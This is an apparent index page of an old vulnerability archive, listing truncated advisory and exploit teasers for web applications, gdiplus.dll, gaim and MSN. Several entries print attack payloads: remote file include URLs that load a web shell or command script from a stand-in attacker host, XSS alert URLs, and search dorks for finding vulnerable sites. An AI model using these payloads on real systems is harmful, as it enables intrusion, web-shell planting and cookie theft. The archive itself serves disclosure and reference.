wowroster15x.txt

Title : WoW Roster = 1.5.x Remote File Include hsList.php Discovered By :::: AG-Spider ----------------------------------------------------------------------------- Class : Remote file include Rish : Danger ----------------------------------------------------------------------------- dork : "wow...

gdiplus.pl.txt

!/bin/perl 0-day crash poc gdiplus.dll by Mr.Niega Check out hex offset 2e play with the 2byte's, set it to 20 if you want a non crashing ico file Division by zero this POC tested with: win XP ENG sp2 And for SYS 49152 im that 0daysec guy ; Rename Poc.ico to Poc.png and have it as display picture...

Gdiplus.dll division by 0

!/bin/perl 0-day crash poc gdiplus.dll by Mr.Niega Check out hex offset 2e play with the 2byte's, set it to 20 if you want a non crashing ico file Division by zero this POC tested with: win XP ENG sp2 And for SYS 49152 im that 0daysec guy ; Rename Poc.ico to Poc.png and have it as display picture...

msnXSSCB.txt

Summary ------- A cookie-stealing Cross-site scripting vulnerability was found on MSN's website msn.com. Using this vulnerability, an attacker could potentially gain access to a victim's Inbox. This vulnerability was discovered by: tontonq and Nir Goldshlager. Disclosure timeline...

CentOS 3 / 4 : gaim (CESA-2005:429)

An updated gaim package that fixes two security issues is now available. This update has been rated as having critical security impact by the Red Hat Security Response Team. The Gaim application is a multi-protocol instant messaging client. A stack based buffer overflow bug was found in the way...

CentOS 3 / 4 : gaim (CESA-2005:518)

An updated gaim package that fixes two denial of service issues is now available. This update has been rated as having moderate security impact by the Red Hat Security Response Team. The Gaim application is a multi-protocol instant messaging client. Jacopo Ottaviani discovered a bug in the way Ga...

MSN Messnger chat history intercepted and the encryption-vulnerability warning-the black bar safety net

MSN Messenger is the Microsoft Corp launched instant messaging software. MSN Messenger with its excellent performance and easy operation, it has been among the of currently the world's most widely used IM softwareinstant messaging software, in domestic also has many users, is the only one can and...

multiple Xss exploits in 35mmslidegallery V6

multiple Xss exploits in 35mmslidegallery V6 forum type : 35mmslidegallery V6 bug found by : black-code team : $!T3-D0WN type : Xss exploits : http://example.com/lumet/album/index.php?imgdir='scriptalert10/script http://example.comr/lumet/album/popup.php?w='scriptalert10/script...

xtreme10.txt

Multiple file include exploits in Xtreme Downloads v.1.0 script type : Xtreme Downloads v.1.0 bug found by : sweet-devil & black-code team : site-down type : file include exploits : download.php http://www.example.com/path/download.php?root=http://yoursite/r57shell.txt? manager.php...

mybloggie221.txt

Milli-Harekat Advisory www.milli-harekat.org MyBloggie = 2.1.1 version - Remote File Include Vulnerabilities Risk : meduim Class: Remote Script : MyBloggie 2.1.1 version Msn : erne at ernealizm.com Credits : ERNE Thanks : DjReMix,Eskobar,Blackened,TRIP,ßy KorsaN,OsL3m7,Poizonbox,Dilejyoner and Al...

file include exploit in Support Cards v1

file include exploit in Support Cards v1 forum type : Support cards v1 bug found by : sweet-devil team : site-down type : file include exploit : http://www.example.com/support/include/openform.php?includedir=http://ursite/evilscript.txt?cmd=pwd emails: [email protected] & [email protected]...

F@cile Interactive Web 0.8x - Remote File Inclusion Cross-Site Scripting

F@cile Interactive Web 0.8x - Remote File Inclusion Cross-Site Scripting F@cile Interactive Web ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on F@cile Interactive Web = 0.8x Original advisory can be found at: http://www.nukedx.com/?viewdoc=35 File Inclusion...

phpRaid "view.php" XSS Vulnerability

phpRaid "view.php" XSS Vulnerability Script : phpRaid Script Website : http://www.spiffyjr.com/ Version : phpRaid v2.9.5 This Xss Works On phpRaid Exploit ; 1- Http://www.example.com/phpRaid/view.php?scriptalert'Xss20Vulnerability';/script 2-...

My Gaming Ladder Combo System 7.0 - Remote Code Execution

My Gaming Ladder Combo System 7.0 - Remote Code Execution !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=28 Usage: ladder.pl Dork: "Ladder Scripts by...

My Gaming Ladder Combo System <= 7.0 Remote Code Execution Exploit

Exploit for unknown platform in category web applications ================================================================== My Gaming Ladder Combo System ICQ: 10072 MSN/Main: email protected web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=28 Usage: ladder.pl Dork: "Ladder...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in FlexBB 0.5.5 BETA allow remote attackers to inject arbitrary web script or HTML via the 1 ICQ, 2 AIM, 3 MSN, 4 Google Talk, 5 Website Name, 6 Website Address, 7 Email Address, 8 Location, 9 Signature, and 10 Sub-Titles fields in the user profil...

CVE-2006-1810

CVE-2006-1810 involves multiple cross-site scripting (XSS) vulnerabilities in FlexBB 0.5.5 BETA . The affected component is the user profile handling, with attacker-controlled inputs in fields such as ICQ, AIM, MSN, Google Talk, Website Name, Website Address, Email Address, Location, Signature, a...

Avast Linux Home Edition &#40;vulnerability on a temporary folder creation&#41;

Title : Avast Linux Home Edition, vulnerability on a temporary folder creation Protuct : Avast! Linux Home Edition Product : http://www.avast.com/eng/download-avast-for-linux-edition.html Version : 1.0.5, 1.0.5-1 avast4workstation-1.0.5-1.i586.rpm avast4workstation-1.0.5.tar.gz Vuln Found :...

Clansys 1.1 (showid) - SQL Injection

Clansys 1.1 showid - SQL Injection Internet Security | |---==============================================================---| title: clansys 1.1 remote sql injection release: 2006-04-10 author: snatcher snatcher at gmx.ch country: switzerland |+| application: clansys 1.1 description: a php / mysq...

Windows Messenger is installed

This host is installed with Microsoft Windows Messenger and is prone to multiple vulnerabilities. OpenVAS Vulnerability Test $Id: winmessengerinstalled.nasl 6053 2017-05-01 09:02:51Z teissa $ Description: Windows Messenger is installed Authors: Xue Yong Zhi Copyright: Copyright C 2003 Xue Yong Zh...